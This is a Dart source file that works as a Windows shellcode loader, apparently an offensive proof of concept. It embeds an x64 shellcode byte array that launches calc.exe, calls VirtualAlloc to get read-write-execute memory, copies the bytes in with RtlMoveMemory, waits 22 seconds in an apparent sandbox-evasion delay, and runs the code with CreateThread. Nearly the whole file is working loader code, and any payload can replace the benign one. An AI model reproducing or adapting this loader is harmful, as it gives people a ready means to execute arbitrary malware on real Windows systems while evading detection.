shellcode_exec.dart

import 'dart:io';
import 'dart:convert';
import 'dart:ffi';
import 'dart:typed_data';
import 'package:ffi/ffi.dart';

// shellcode
// windows/x64/exec calc.exe
var data = [0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,
0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,
0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,
0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,
0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,
0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,
0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,
0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,
0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,
0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,
0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,
0x63,0x2e,0x65,0x78,0x65,0x00];

Pointer<Uint8> ss = calloc(data.length);

final MEM_COMMIT = 0x00001000;
final MEM_RESERVE = 0x00002000;
final PAGE_EXECUTE_READWRITE = 0x40;
final _kernel32 = DynamicLibrary.open('kernel32.dll');
final _ntdll = DynamicLibrary.open('ntdll.dll');
// typedef DWORD(__stdcall* PTHREAD_START_ROUTINE)(LPVOID);
//
typedef PTHREAD_START_ROUTINE = Uint32 Function(Pointer<NativeType>);
typedef LPTHREAD_START_ROUTINE = Pointer<NativeFunction<PTHREAD_START_ROUTINE>>;

class SECURITY_ATTRIBUTES extends Struct {
  @Uint32()
  external int nLength;
  external Pointer lpSecurityDescriptor;
  @Int32()
  external int bInheritHandle;
}

Pointer VirtualAlloc(
    Pointer<Void> lpAddress, int dwSize, int flAllocationType, int flProtect) {
  final _VirtualAlloc = _kernel32.lookupFunction<
      Pointer<Void> Function(Pointer<Void> lpAddress, IntPtr dwSize,
          Uint32 flAllocationType, Uint32 flProtect),
      Pointer<Void> Function(Pointer<Void> lpAddress, int dwSize,
          int flAllocationType, int flProtect)>('VirtualAlloc');
  return _VirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
}

void RtlMoveMemory(
    Pointer<Uint8> Destination, Pointer<Uint8> Source, int Length) {
  final _RtlMoveMemory = _ntdll.lookupFunction<
      Void Function(
          Pointer<Uint8> Destination, Pointer<Uint8> Source, Uint32 Length),
      void Function(Pointer<Uint8> Destination, Pointer<Uint8> Source,
          int Length)>('RtlMoveMemory');
  return _RtlMoveMemory(Destination, Source, Length);
}

int CreateThread(
    Pointer<SECURITY_ATTRIBUTES> lpThreadAttributes,
    int dwStackSize,
    LPTHREAD_START_ROUTINE lpStartAddress,
    Pointer lpParameter,
    int dwCreationFlags,
    Pointer<Uint32> lpThreadId) {
  final _CreateThread = _kernel32.lookupFunction<
      IntPtr Function(
          Pointer<SECURITY_ATTRIBUTES> lpThreadAttributes,
          IntPtr dwStackSize,
          LPTHREAD_START_ROUTINE lpStartAddress,
          Pointer lpParameter,
          Uint32 dwCreationFlags,
          Pointer<Uint32> lpThreadId),
      int Function(
          Pointer<SECURITY_ATTRIBUTES> lpThreadAttributes,
          int dwStackSize,
          LPTHREAD_START_ROUTINE lpStartAddress,
          Pointer lpParameter,
          int dwCreationFlags,
          Pointer<Uint32> lpThreadId)>('CreateThread');
  return _CreateThread(lpThreadAttributes, dwStackSize, lpStartAddress,
      lpParameter, dwCreationFlags, lpThreadId);
}

int WaitForSingleObject(int hHandle, int dwMilliseconds) {
  final _WaitForSingleObject = _kernel32.lookupFunction<
      Uint32 Function(IntPtr hHandle, Uint32 dwMilliseconds),
      int Function(int hHandle, int dwMilliseconds)>('WaitForSingleObject');
  return _WaitForSingleObject(hHandle, dwMilliseconds);
}

void main(List<String> arguments) {
  for (var i = 0; i < data.length; i++) {
    ss.elementAt(i).value = data[i].toUnsigned(8);
  }

  var exec =
      VirtualAlloc(nullptr, data.length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
  RtlMoveMemory(exec.cast<Uint8>(), ss, data.length);
  LPTHREAD_START_ROUTINE ee = Pointer.fromAddress(exec.address);
  sleep(Duration(seconds: 22));
  var th = CreateThread(nullptr, 0, ee, nullptr, 0, nullptr);
  WaitForSingleObject(th, -1);
}